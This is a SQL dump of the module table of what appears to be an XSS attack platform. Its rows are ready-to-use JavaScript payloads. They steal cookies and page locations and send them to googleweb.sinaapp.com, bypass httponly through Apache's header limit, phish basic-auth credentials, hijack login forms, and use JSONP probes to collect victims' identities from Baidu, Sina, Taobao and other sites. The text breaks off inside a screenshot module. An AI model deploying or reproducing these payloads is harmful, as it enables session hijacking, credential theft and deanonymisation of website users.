-
Notifications
You must be signed in to change notification settings - Fork 64
/
Copy pathoc_module-update.sql
64 lines (55 loc) · 105 KB
/
oc_module-update.sql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
-- phpMyAdmin SQL Dump
-- version 3.3.8.1
-- http://www.phpmyadmin.net
--
-- 主机: w.rdc.sae.sina.com.cn:3307
-- 生成日期: 2014 年 11 月 24 日 17:26
-- 服务器版本: 5.5.23
-- PHP 版本: 5.3.3
SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
--
-- 数据库: `app_googleweb`
--
-- --------------------------------------------------------
--
-- 表的结构 `oc_module`
--
CREATE TABLE IF NOT EXISTS `oc_module` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`userId` int(11) DEFAULT '0',
`title` varchar(255) DEFAULT NULL,
`keys` text,
`setkeys` text,
`code` text,
`level` tinyint(1) DEFAULT '0',
`isOpen` tinyint(1) DEFAULT '0',
`description` text,
`isAudit` tinyint(1) DEFAULT '0',
`managerId` int(11) DEFAULT '0',
`managerName` varchar(255) DEFAULT NULL,
`addTime` int(11) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=32 ;
--
-- 转存表中的数据 `oc_module`
--
INSERT INTO `oc_module` (`id`, `userId`, `title`, `keys`, `setkeys`, `code`, `level`, `isOpen`, `description`, `isAudit`, `managerId`, `managerName`, `addTime`) VALUES
(1, 1, '默认模块', '["location","toplocation","cookie","opener"]', '["keepsession"]', '(function(){(new Image()).src='http://googleweb.sinaapp.com/index.php?do=api&id={projectId}&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();\r\nif('{set.keepsession}'==1){keep=new Image();keep.src='http://googleweb.sinaapp.com/index.php?do=keepsession&id={projectId}&url='+escape(document.location)+'&cookie='+escape(document.cookie)};\r\n', 0, 1, '通过xss完成基本的攻击,包括获取后台地址,认证cookie', 1, 1, 'googleweb', 1341846542),
(4, 1, 'apache httponly bypass', '["location","toplocation","cookie","opener"]', NULL, 'function setCookies () {\r\n /*apache server limit 8192*/\r\n var str = "";\r\n for (var i=0; i< 819; i++) {\r\n str += "x";\r\n }\r\n for (i = 0; i < 10; i++) {\r\n var cookie = "ray"+i+"="+str+";path=/";\r\n document.cookie = cookie;\r\n }\r\n}\r\n\r\nfunction parseCookies () {\r\n if (xhr.readyState === 4 && xhr.status === 400) {\r\n var content = xhr.responseText.replace(/\\r|\\n/g,'').match(/<pre>(.+)<\\/pre>/);\r\n content = content[1].replace("Cookie: ", "");\r\n cookies = content.replace(/ray\\d=x+;?/g, '')\r\n try { \r\n var myopener=''; myopener = window.parent.openner.location;\r\n var myparent = ''; myparent = window.parent.location;\r\n } catch(err){\r\n myopener='0';myparent ='0';\r\n }\r\n window.location='http://googleweb.sinaapp.com/index.php?do=api&id={projectId}&location='+escape(document.location)+'&toplocation='+escape(myparent)+'&cookie='+escape(cookies)+'&opener='+escape(myopener);\r\n }\r\n}\r\n\r\nsetCookies();\r\nvar xhr = window.XMLHttpRequest? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();\r\nxhr.onreadystatechange = parseCookies;\r\nxhr.open("POST", "/?"+Math.random(), true);\r\nxhr.send(null);', 0, 1, '利用apache server head limit 8192字节限制, 从400状态页爆出httponly保护的cookie.', 1, 1, 'googleweb', 1342155756),
(11, 1, 'xss.js', '[]', NULL, ';;var xss = function(){\r\n var x = {\r\n 'name':'xss.js',\r\n 'version':'0.1',\r\n 'author':'jackmasa'\r\n };\r\n \r\n x.x=function(id){return document.getElementById(id)};\r\n \r\n //容错取值\r\n x.e=function(_){try{return eval('('+_+')')}catch(e){return''}};\r\n \r\n //浏览器 \r\n x.i={\r\n i:!!self.ActiveXObject,\r\n c:!!self.chrome,\r\n f:self.mozPaintCount>-1,\r\n o:!!self.opera,\r\n s:!self.chrome&&!!self.WebKitPoint\r\n };\r\n \r\n //UA\r\n x.ua = navigator.userAgent;\r\n \r\n //判断是否为苹果手持设备\r\n x.apple=x.ua.match(/ip(one|ad|od)/i)!=null;\r\n \r\n //随机数\r\n x.rdm=function(){return~~(Math.random()*100000)};\r\n\r\n //url编码(UTF8)\r\n x.ec=encodeURIComponent;\r\n\r\n x.html=document.getElementsByTagName('html')[0];\r\n \r\n /*\r\n * 销毁一个元素\r\n */\r\n x.kill=function(e){\r\n e.parentElement.removeChild(e);\r\n };\r\n\r\n /*\r\n *绑定事件\r\n */\r\n x.bind=function(e,name,fn){\r\n e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent("on"+name,fn);\r\n };\r\n \r\n /*\r\n * dom准备完毕时执行函数\r\n */\r\n x.ready=function(fn){\r\n if(!x.i.i){\r\n x.bind(document,'DOMContentLoaded',fn);\r\n }else{\r\n var s = setInterval(function(){\r\n try{\r\n document.body.doScroll('left');\r\n clearInterval(s);\r\n fn();\r\n }catch(e){}\r\n },4);\r\n }\r\n }\r\n\r\n /*\r\n * 同源检测\r\n */\r\n x.o=function(url){\r\n var link = x.dom('<a href="'+encodeURI(url)+'">',2);\r\n return link.protocol+link.hostname+':'+link.port==location.protocol+location.hostname+':'+link.port;\r\n };\r\n \r\n /*\r\n * html to dom\r\n */\r\n x.dom=function(html,gcsec){\r\n var tmp = document.createElement('span');\r\n tmp.innerHTML=html;\r\n var e = tmp.children[0];\r\n e.style.display='none';\r\n x.html.appendChild(e);\r\n gcsec>>0>0&&setTimeout(function(){\r\n x.kill(e);\r\n },gcsec*1000);\r\n return e;\r\n };\r\n\r\n /*\r\n * ajax\r\n */\r\n x.ajax = function(url,params,callback){\r\n (params instanceof Function)&&(callback=params,params=void(0));\r\n var XHR = (!x.o(url)&&window.XDomainRequest)||\r\n window.XMLHttpRequest||\r\n (function(){return new ActiveXObject('MSXML2.XMLHTTP')});\r\n var xhr = new XHR();\r\n xhr.open(params?'post':'get',url);\r\n try{xhr.setRequestHeader('content-type','application/x-www-form-urlencoded')}catch(e){}\r\n callback&&(xhr.onreadystatechange = function() {\r\n (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304))&&callback.apply(this,arguments);\r\n });\r\n xhr.send(params);\r\n };\r\n\r\n /*\r\n * no ajax\r\n */\r\n x.najax=function(url,params){\r\n if(params){\r\n var form = x.dom('<form method=post accept-charset=utf-8>');\r\n form.action=url;\r\n for(var name in params){\r\n var input = document.createElement('input');\r\n input.name=name;\r\n input.value=params[name];\r\n form.appendChild(input);\r\n }\r\n var iframe = x.dom('<iframe name=_'+x.rdm()+'_>',6);\r\n form.target=iframe.name;\r\n form.submit();\r\n }else{\r\n new Image().src=url+'&'+x.rdm();\r\n }\r\n };\r\n\r\n /*\r\n * 钓鱼\r\n */\r\n x.phish=function(url){\r\n x.ajax(url,function(){\r\n document.open();\r\n document.write(this.responseText);\r\n document.close();\r\n history.replaceState&x.o(url)&&history.replaceState('','',url);\r\n })\r\n };\r\n\r\n /*\r\n * 表单劫持\r\n */\r\n x.xform=function(form,action){\r\n form.old_action=form.action,form.old_target=form.target,form.action=action;\r\n var iframe = x.dom('<iframe name=_'+x.rdm()+'_>');\r\n form.target=iframe.name;\r\n setTimeout(function(){\r\n x.bind(iframe,'load',function(){\r\n form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();\r\n })\r\n },30);\r\n };\r\n \r\n /*\r\n * 函数代理\r\n */\r\n x.proxy=function(fn,before,after){\r\n return function(){\r\n before&&before.apply(this,arguments);\r\n var result = fn.apply(this,arguments);\r\n after&&after.apply(this,arguments);\r\n return result;\r\n }\r\n };\r\n \r\n return x;\r\n}();', 0, 1, '一些常用XSS模块', 1, 1, 'googleweb', 1348659634),
(6, 1, 'AJAX POST/GET操作', '[]', NULL, 'var pkav={\r\n ajax:function(){\r\n var xmlHttp;\r\n try{\r\n xmlHttp=new XMLHttpRequest();\r\n }catch (e){\r\n try{\r\n xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");\r\n }catch (e){\r\n try{\r\n xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");\r\n }\r\n catch (e){\r\n return false;\r\n }\r\n }\r\n }\r\n return xmlHttp;\r\n },\r\n req:function(url,data,method,callback){\r\n method=(method||"").toUpperCase();\r\n method=method||"GET";\r\n data=data||"";\r\n if(url){\r\n var a=this.ajax();\r\n a.open(method,url,true);\r\n if(method=="POST"){\r\n a.setRequestHeader("Content-type","application/x-www-form-urlencoded");\r\n }\r\n a.onreadystatechange=function(){\r\n if (a.readyState==4 && a.status==200)\r\n {\r\n if(callback){\r\n callback(a.responseText);\r\n }\r\n }\r\n };\r\n if((typeof data)=="object"){\r\n var arr=[];\r\n for(var i in data){\r\n arr.push(i+"="+encodeURIComponent(data[i]));\r\n }\r\n a.send(arr.join("&"));\r\n }else{\r\n a.send(data||null);\r\n }\r\n }\r\n },\r\n get:function(url,callback){\r\n this.req(url,"","GET",callback);\r\n },\r\n post:function(url,data,callback){\r\n this.req(url,data,"POST",callback);\r\n }\r\n};\r\nif(!window.__x){\r\npkav.post("接口地址","POST内容",function(rs){});\r\npkav.get("接口地址",function(rs){});\r\n window.__x=1;\r\n}', 0, 1, 'PKAV|请复制代码,配置-自定义代码', 1, 1, 'googleweb', 1343199825),
(15, 1, '基础认证钓鱼', '["username","password"]', '["info"]', 'x=new Image();\r\nx.src="http://googleweb.sinaapp.com/authtest.php?id={projectId}&info={set.info}";', 0, 1, '针对基础认证进行钓鱼', 1, 1, 'googleweb', 1350054470),
(28, 1, '定位目标网络虚拟信息身份', '["content","content2"]', '[]', 'window.onerror=function(){\r\n return true;\r\n}\r\nhttp_server = "http://googleweb.sinaapp.com/index.php?do=api&id={projectId}&content=";\r\nvar info = {};\r\ninfo.browser = function(){\r\n ua = navigator.userAgent.toLowerCase();\r\n var rwebkit = /(webkit)[ \\/]([\\w.]+)/;\r\n var ropera = /(opera)(?:.*version)?[ \\/]([\\w.]+)/;\r\n var rmsie = /(msie) ([\\w.]+)/;\r\n var rmozilla = /(mozilla)(?:.*? rv:([\\w.]+))?/;\r\n var match = rwebkit.exec( ua ) ||\r\n ropera.exec( ua ) ||\r\n rmsie.exec( ua ) ||\r\n ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) ||\r\n [];\r\n return {\r\n name: match[1] || "", version: match[2] || "0"\r\n };\r\n}();\r\ninfo.url = document.location.href;\r\ninfo.ua = escape(navigator.userAgent);\r\ninfo.lang = navigator.language;\r\ninfo.referrer = document.referrer;\r\ninfo.location = window.location.href;\r\ninfo.toplocation = top.location.href;\r\ninfo.cookie = escape(document.cookie);\r\ninfo.domain = document.domain;\r\ninfo.title = document.title;\r\ninfo.screen = function(){\r\n var c = "";\r\n if (self.screen) {\r\n c = screen.width+"x"+screen.height;\r\n }\r\n return c;\r\n}();\r\ninfo.flash = function(){\r\n var f="",n=navigator;\r\n if (n.plugins && n.plugins.length) {\r\n for (var ii=0;ii<n.plugins.length;ii++) {\r\n if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) {\r\n f=n.plugins[ii].description.split('Shockwave Flash ')[1];\r\n break;\r\n }\r\n }\r\n }\r\n else\r\n if (window.ActiveXObject) {\r\n for (var ii=10;ii>=2;ii--) {\r\n try {\r\n var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');");\r\n if (fl) {\r\n f=ii + '.0';\r\n break;\r\n }\r\n }\r\n catch(e) {}\r\n \r\n }\r\n }\r\n return f;\r\n}();\r\nfunction inj_script(a, b) {\r\n var o = document.createElement("script");\r\n o.src = a;\r\n if (b) {\r\n if (!window.ActiveXObject) {\r\n o.onload = b;\r\n }\r\n else {\r\n o.onreadystatechange = function () {\r\n if (o.readyState == 'loaded' || o.readyState == 'complete') {\r\n b();\r\n }\r\n }\r\n }\r\n }\r\n document.getElementsByTagName("body")[0].appendChild(o);\r\n return o;\r\n}\r\nfunction json2str(o) {\r\n if(typeof o == 'string') return o;\r\n var arr = [];\r\n var fmt = function(s) {\r\n if (typeof s == 'object' && s != null) return json2str(s);\r\n return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s;\r\n }\r\n for (var i in o) arr.push("'" + i + "':" + fmt(o[i]));\r\n return '{' + arr.join(',') + '}';\r\n}\r\nvideo_login_callback = function(o){\r\n new Image().src = http_server + escape(json2str(o)) + "&content2=baidu";\r\n}\r\ne163_comment = function(o){\r\n new Image().src = http_server + escape(json2str(o)) + "&content2=163";\r\n}\r\n\r\nsina_1368631232407449 = function(o){\r\n new Image().src = http_server + escape(json2str(o)) + "&content2=sina";\r\n}\r\n\r\nloginInfoJson = function(o){\r\n new Image().src = http_server + escape(json2str(o)) + "&content2=taobao";\r\n}\r\n\r\njsonp1368705676193 = function(o){\r\n new Image().src = http_server + escape(json2str(o)) + "&content2=mop";\r\n}\r\n\r\njsonp1368751970360 = function(o){\r\n new Image().src = http_server + escape(json2str(o)) + "&content2=dangdang";\r\n}\r\n\r\njQuery1368758656634 = function(o){\r\n new Image().src = http_server + escape(json2str(o)) + "&content2=renren";\r\n}\r\nvar img=new Image();img.src='#';img.onerror = function(){\r\n new Image().src = http_server + escape(json2str(info)) + "&content2=info%20";\r\n try{\r\n inj_script('http://baike.baidu.com/api/login/?callback=video_login_callback');\r\n }\r\n catch(e){}\r\n try{\r\n inj_script('http://comment.money.163.com/reply/check.jsp?time=1367240961474&callback=e163_comment');\r\n }\r\n catch(e){}\r\n \r\n\r\n try{\r\n inj_script('http://i.house.sina.com.cn/sso/get_cookie.php?callback=sina_1368631232407449');\r\n }\r\n catch(e){}\r\n \r\n try{\r\n inj_script('http://i.bendi.taobao.com/userLoginInfo.do?callback=loginInfoJson&t=1368683974713');\r\n }\r\n catch(e){}\r\n\r\n \r\n\r\n try{\r\n inj_script('http://passport.mop.com/common/user-info?callback=jsonp1368705676193');\r\n }\r\n catch(e){}\r\n \r\n try{\r\n inj_script('http://commapi.dangdang.com/api/toolbar_ads_api.php?jsoncallback=jsonp1368751970360');\r\n }\r\n catch(e){}\r\n \r\n try{\r\n inj_script('http://passport.game.renren.com/user/info?callback=jQuery1368758656634&_=1368758656639');\r\n }\r\n catch(e){}\r\n \r\n try{\r\n inj_script('http://uis.i.sohu.com/api/passport.jsp?from=roll&_=1361671333278');\r\n }\r\n catch(e){}\r\n \r\n \r\n try{\r\n inj_script('http://www.tianya.cn/api/msg?method=messagesys.selectmessage&params.pageSize=1&params.pageNo=1&_=1368893252433&var=tianya_msg');\r\n }\r\n catch(e){}\r\n\r\n setTimeout(function(){\r\n var o = [_passport];\r\n new Image().src = http_server + escape(json2str(o)) + "&content2=sohu";\r\n }\r\n ,3000);\r\n\r\n setTimeout(function(){\r\n var o = tianya_msg.data.list[0].toUserName+'|'+tianya_msg.data.list[0].toUserId;\r\n new Image().src = http_server + escape(json2str(o)) + "&content2=tianya";\r\n }\r\n ,5000);\r\n};', 0, 1, 'JSON探针—定位目标网络虚拟信息身份', 1, 1, 'googleweb', 1415233757),
(17, 1, 'xss2.0.js', '[]', '[]', ';;var xss = function(){\r\n var x = {\r\n 'name':'xss.js',\r\n 'version':'0.2.2',\r\n 'author':'长短短(sogili)'\r\n };\r\n \r\n x.x=function(id){return document.getElementById(id)};\r\n \r\n /**容错取值*/\r\n x.e=function(_){try{return eval('('+_+')')}catch(e){return''}};\r\n \r\n /**浏览器*/\r\n x.i={\r\n i:!!self.ActiveXObject&&(function(){\r\n for(var v=6,s=document.createElement('s');\r\n s.innerHTML='<![if gt IE '+(v++)+']><i></i><![endif]-->',\r\n s.getElementsByTagName('i')[0];);\r\n return v;\r\n }()),\r\n c:!!self.chrome,\r\n f:self.mozPaintCount>-1,\r\n o:!!self.opera,\r\n s:!self.chrome&&!!self.WebKitPoint\r\n };\r\n \r\n /**UA*/\r\n x.ua = navigator.userAgent;\r\n \r\n /**判断是否为苹果手持设备*/\r\n x.apple=/ip(one|ad|od)/i.test(x.ua);\r\n \r\n /**随机数*/\r\n x.rdm=function(){return~~(Math.random()*1e5)};\r\n\r\n /**url编码(UTF8)*/\r\n x.ec=encodeURIComponent;\r\n\r\n x.html=function(){\r\n return document.getElementsByTagName('html')[0]\r\n ||document.write('<html>')\r\n ||document.getElementsByTagName('html')[0];\r\n };\r\n \r\n /*\r\n * 销毁一个元素\r\n */\r\n x.kill=function(e){\r\n e.parentElement.removeChild(e);\r\n };\r\n\r\n /*\r\n *绑定事件\r\n */\r\n x.bind=function(e,name,fn){\r\n e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent("on"+name,fn);\r\n };\r\n \r\n /*\r\n * dom准备完毕时执行函数\r\n */\r\n x.ready=function(fn){\r\n if(!x.i.i){\r\n x.bind(document,'DOMContentLoaded',fn);\r\n }else{\r\n var s = setInterval(function(){\r\n try{\r\n document.body.doScroll('left');\r\n clearInterval(s);\r\n fn();\r\n }catch(e){}\r\n },4);\r\n }\r\n }\r\n\r\n /*\r\n * 同源检测\r\n */\r\n x.o=function(url){\r\n var link = x.dom('<a href="'+encodeURI(url)+'">',1);\r\n return link.protocol+link.hostname+':'+(link.port||80)==location.protocol+location.hostname+':'+(location.port||80);\r\n };\r\n \r\n /*\r\n * html to dom\r\n */\r\n x.dom=function(html,gcsec){\r\n var tmp = document.createElement('span');\r\n tmp.innerHTML=html;\r\n var e = tmp.children[0];\r\n e.style.display='none';\r\n x.html().appendChild(e);\r\n gcsec>>0>0&&setTimeout(function(){\r\n x.kill(e);\r\n },gcsec*1000);\r\n return e;\r\n };\r\n\r\n /*\r\n * ajax\r\n */ \r\n x.ajax=function(url,params,callback){\r\n (params instanceof Function)&&(callback=params,params=void(0));\r\n var XHR = (!x.o(url)&&window.XDomainRequest)||\r\n window.XMLHttpRequest||\r\n (function(){return new ActiveXObject('MSXML2.XMLHTTP')});\r\n var xhr = new XHR();\r\n xhr.open(params?'post':'get',url);\r\n xhr.withCredentials = true;\r\n try{params&&xhr.setRequestHeader('content-type','application/x-www-form-urlencoded');}catch(e){}\r\n callback&&(xhr.onreadystatechange = function() {\r\n (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304))&&callback.apply(this,arguments);\r\n });\r\n xhr.send(params);\r\n };\r\n \r\n /*\r\n * CSRF\r\n */\r\n x.csrf=function(url,params,callback){\r\n (params instanceof Function)&&(callback=params,params=void(0));\r\n if(params){\r\n x.ajax(url,params,callback);\r\n }else{\r\n var img = new Image;\r\n callback&&(img.onerror=callback);\r\n img.src=url;\r\n }\r\n };\r\n\r\n /*\r\n * 表单劫持\r\n */\r\n x.xform=function(form,action){\r\n form.old_action=form.action,form.old_target=form.target,form.action=action;\r\n var iframe = x.dom('<iframe name=_'+x.rdm()+'_>');\r\n form.target=iframe.name;\r\n setTimeout(function(){\r\n x.bind(iframe,'load',function(){\r\n form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();\r\n });\r\n },30);\r\n };\r\n \r\n /*\r\n * 函数代理\r\n */\r\n x.proxy=function(fn,before,after){\r\n return function(){\r\n before&&before.apply(this,arguments);\r\n var result = fn.apply(this,arguments);\r\n after&&after.apply(this,arguments);\r\n return result;\r\n }\r\n };\r\n \r\n return x;\r\n}();', 0, 1, 'xss2.0版本', 1, 1, 'googleweb', 1411395520),
(18, 1, '表单劫持', '["username","password"]', '["form"]', ';;var xss = function(){\r\n var x = {\r\n 'name':'xss.js',\r\n 'version':'0.2.2',\r\n 'author':'长短短(sogili)'\r\n };\r\n \r\n x.x=function(id){return document.getElementById(id)};\r\n \r\n //容错取值\r\n x.e=function(_){try{return eval('('+_+')')}catch(e){return''}};\r\n \r\n //浏览器 \r\n x.i={\r\n i:!!self.ActiveXObject&&(function(){\r\n for(var v=6,s=document.createElement('s');\r\n s.innerHTML='<![if gt IE '+(v++)+']><i></i><![endif]-->',\r\n s.getElementsByTagName('i')[0];);\r\n return v;\r\n }()),\r\n c:!!self.chrome,\r\n f:self.mozPaintCount>-1,\r\n o:!!self.opera,\r\n s:!self.chrome&&!!self.WebKitPoint\r\n };\r\n \r\n //UA\r\n x.ua = navigator.userAgent;\r\n \r\n //判断是否为苹果手持设备\r\n x.apple=/ip(one|ad|od)/i.test(x.ua);\r\n \r\n //随机数\r\n x.rdm=function(){return~~(Math.random()*1e5)};\r\n\r\n //url编码(UTF8)\r\n x.ec=encodeURIComponent;\r\n\r\n x.html=function(){\r\n return document.getElementsByTagName('html')[0]\r\n ||document.write('<html>')\r\n ||document.getElementsByTagName('html')[0];\r\n };\r\n \r\n /*\r\n * 销毁一个元素\r\n */\r\n x.kill=function(e){\r\n e.parentElement.removeChild(e);\r\n };\r\n\r\n /*\r\n *绑定事件\r\n */\r\n x.bind=function(e,name,fn){\r\n e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent("on"+name,fn);\r\n };\r\n \r\n /*\r\n * dom准备完毕时执行函数\r\n */\r\n x.ready=function(fn){\r\n if(!x.i.i){\r\n x.bind(document,'DOMContentLoaded',fn);\r\n }else{\r\n var s = setInterval(function(){\r\n try{\r\n document.body.doScroll('left');\r\n clearInterval(s);\r\n fn();\r\n }catch(e){}\r\n },4);\r\n }\r\n }\r\n\r\n /*\r\n * 同源检测\r\n */\r\n x.o=function(url){\r\n var link = x.dom('<a href="'+encodeURI(url)+'">',1);\r\n return link.protocol+link.hostname+':'+(link.port||80)==location.protocol+location.hostname+':'+(location.port||80);\r\n };\r\n \r\n /*\r\n * html to dom\r\n */\r\n x.dom=function(html,gcsec){\r\n var tmp = document.createElement('span');\r\n tmp.innerHTML=html;\r\n var e = tmp.children[0];\r\n e.style.display='none';\r\n x.html().appendChild(e);\r\n gcsec>>0>0&&setTimeout(function(){\r\n x.kill(e);\r\n },gcsec*1000);\r\n return e;\r\n };\r\n\r\n /*\r\n * ajax\r\n */ \r\n x.ajax=function(url,params,callback){\r\n (params instanceof Function)&&(callback=params,params=void(0));\r\n var XHR = (!x.o(url)&&window.XDomainRequest)||\r\n window.XMLHttpRequest||\r\n (function(){return new ActiveXObject('MSXML2.XMLHTTP')});\r\n var xhr = new XHR();\r\n xhr.open(params?'post':'get',url);\r\n xhr.withCredentials = true;\r\n try{params&&xhr.setRequestHeader('content-type','application/x-www-form-urlencoded');}catch(e){}\r\n callback&&(xhr.onreadystatechange = function() {\r\n (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304))&&callback.apply(this,arguments);\r\n });\r\n xhr.send(params);\r\n };\r\n \r\n /*\r\n * CSRF\r\n */\r\n x.csrf=function(url,params,callback){\r\n (params instanceof Function)&&(callback=params,params=void(0));\r\n if(params){\r\n x.ajax(url,params,callback);\r\n }else{\r\n var img = new Image;\r\n callback&&(img.onerror=callback);\r\n img.src=url;\r\n }\r\n };\r\n\r\n /*\r\n * 表单劫持\r\n */\r\n x.xform=function(form,action){\r\n form.old_action=form.action,form.old_target=form.target,form.action=action;\r\n var iframe = x.dom('<iframe name=_'+x.rdm()+'_>');\r\n form.target=iframe.name;\r\n setTimeout(function(){\r\n x.bind(iframe,'load',function(){\r\n form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();\r\n });\r\n },30);\r\n };\r\n \r\n /*\r\n * 函数代理\r\n */\r\n x.proxy=function(fn,before,after){\r\n return function(){\r\n before&&before.apply(this,arguments);\r\n var result = fn.apply(this,arguments);\r\n after&&after.apply(this,arguments);\r\n return result;\r\n }\r\n };\r\n \r\n return x;\r\n}();xss.xform(document.getElementById('{set.form}'),'http://googleweb.sinaapp.com/index.php?do=api&id={projectId}'); ', 0, 1, '表单劫持,传入需要劫持的表单的id,并修改表单需要接受的参数即可。请复制代码,配置-自定义代码。\r\n标签名\r\ndocument.getElementsByTagName("tag")[0];\r\n标签内name属性名\r\ndocument.getElementsByName("name")[0];\r\n标签内id属性\r\ndocument.getElementById('id')', 1, 1, 'googleweb', 1411555890);
INSERT INTO `oc_module` (`id`, `userId`, `title`, `keys`, `setkeys`, `code`, `level`, `isOpen`, `description`, `isAudit`, `managerId`, `managerName`, `addTime`) VALUES
(19, 1, 'screenshot', '["screenshot"]', '[]', '(function(window,document,undefined){var _html2canvas={},previousElement,computedCSS,html2canvas;_html2canvas.Util={};_html2canvas.Util.log=function(a){if(_html2canvas.logging&&window.console&&window.console.log){window.console.log(a)}};_html2canvas.Util.trimText=(function(isNative){return function(input){return isNative?isNative.apply(input):((input||"")+"").replace(/^\\s+|\\s+$/g,"")}})(String.prototype.trim);_html2canvas.Util.asFloat=function(v){return parseFloat(v)};(function(){var TEXT_SHADOW_PROPERTY=/((rgba|rgb)\\([^\\)]+\\)(\\s-?\\d+px){0,})/g;var TEXT_SHADOW_VALUES=/(-?\\d+px)|(#.+)|(rgb\\(.+\\))|(rgba\\(.+\\))/g;_html2canvas.Util.parseTextShadows=function(value){if(!value||value==="none"){return[]}var shadows=value.match(TEXT_SHADOW_PROPERTY),results=[];for(var i=0;shadows&&(i<shadows.length);i++){var s=shadows[i].match(TEXT_SHADOW_VALUES);results.push({color:s[0],offsetX:s[1]?s[1].replace("px",""):0,offsetY:s[2]?s[2].replace("px",""):0,blur:s[3]?s[3].replace("px",""):0})}return results}})();_html2canvas.Util.parseBackgroundImage=function(value){var whitespace=" \\r\\n\\t",method,definition,prefix,prefix_i,block,results=[],c,mode=0,numParen=0,quote,args;var appendResult=function(){if(method){if(definition.substr(0,1)==='"'){definition=definition.substr(1,definition.length-2)}if(definition){args.push(definition)}if(method.substr(0,1)==="-"&&(prefix_i=method.indexOf("-",1)+1)>0){prefix=method.substr(0,prefix_i);method=method.substr(prefix_i)}results.push({prefix:prefix,method:method.toLowerCase(),value:block,args:args})}args=[];method=prefix=definition=block=""};appendResult();for(var i=0,ii=value.length;i<ii;i++){c=value[i];if(mode===0&&whitespace.indexOf(c)>-1){continue}switch(c){case'"':if(!quote){quote=c}else{if(quote===c){quote=null}}break;case"(":if(quote){break}else{if(mode===0){mode=1;block+=c;continue}else{numParen++}}break;case")":if(quote){break}else{if(mode===1){if(numParen===0){mode=0;block+=c;appendResult();continue}else{numParen--}}}break;case",":if(quote){break}else{if(mode===0){appendResult();continue}else{if(mode===1){if(numParen===0&&!method.match(/^url$/i)){args.push(definition);definition="";block+=c;continue}}}}break}block+=c;if(mode===0){method+=c}else{definition+=c}}appendResult();return results};_html2canvas.Util.Bounds=function(element){var clientRect,bounds={};if(element.getBoundingClientRect){clientRect=element.getBoundingClientRect();bounds.top=clientRect.top;bounds.bottom=clientRect.bottom||(clientRect.top+clientRect.height);bounds.left=clientRect.left;bounds.width=element.offsetWidth;bounds.height=element.offsetHeight}return bounds};_html2canvas.Util.OffsetBounds=function(element){var parent=element.offsetParent?_html2canvas.Util.OffsetBounds(element.offsetParent):{top:0,left:0};return{top:element.offsetTop+parent.top,bottom:element.offsetTop+element.offsetHeight+parent.top,left:element.offsetLeft+parent.left,width:element.offsetWidth,height:element.offsetHeight}};function toPX(element,attribute,value){var rsLeft=element.runtimeStyle&&element.runtimeStyle[attribute],left,style=element.style;if(!/^-?[0-9]+\\.?[0-9]*(?:px)?$/i.test(value)&&/^-?\\d/.test(value)){left=style.left;if(rsLeft){element.runtimeStyle.left=element.currentStyle.left}style.left=attribute==="fontSize"?"1em":(value||0);value=style.pixelLeft+"px";style.left=left;if(rsLeft){element.runtimeStyle.left=rsLeft}}if(!/^(thin|medium|thick)$/i.test(value)){return Math.round(parseFloat(value))+"px"}return value}function asInt(val){return parseInt(val,10)}function parseBackgroundSizePosition(value,element,attribute,index){value=(value||"").split(",");value=value[index||0]||value[0]||"auto";value=_html2canvas.Util.trimText(value).split(" ");if(attribute==="backgroundSize"&&(!value[0]||value[0].match(/cover|contain|auto/))){}else{value[0]=(value[0].indexOf("%")===-1)?toPX(element,attribute+"X",value[0]):value[0];if(value[1]===undefined){if(attribute==="backgroundSize"){value[1]="auto";return value}else{value[1]=value[0]}}value[1]=(value[1].indexOf("%")===-1)?toPX(element,attribute+"Y",value[1]):value[1]}return value}_html2canvas.Util.getCSS=function(element,attribute,index){if(previousElement!==element){computedCSS=document.defaultView.getComputedStyle(element,null)}var value=computedCSS[attribute];if(/^background(Size|Position)$/.test(attribute)){return parseBackgroundSizePosition(value,element,attribute,index)}else{if(/border(Top|Bottom)(Left|Right)Radius/.test(attribute)){var arr=value.split(" ");if(arr.length<=1){arr[1]=arr[0]}return arr.map(asInt)}}return value};_html2canvas.Util.resizeBounds=function(current_width,current_height,target_width,target_height,stretch_mode){var target_ratio=target_width/target_height,current_ratio=current_width/current_height,output_width,output_height;if(!stretch_mode||stretch_mode==="auto"){output_width=target_width;output_height=target_height}else{if(target_ratio<current_ratio^stretch_mode==="contain"){output_height=target_height;output_width=target_height*current_ratio}else{output_width=target_width;\r\noutput_height=target_width/current_ratio}}return{width:output_width,height:output_height}};function backgroundBoundsFactory(prop,el,bounds,image,imageIndex,backgroundSize){var 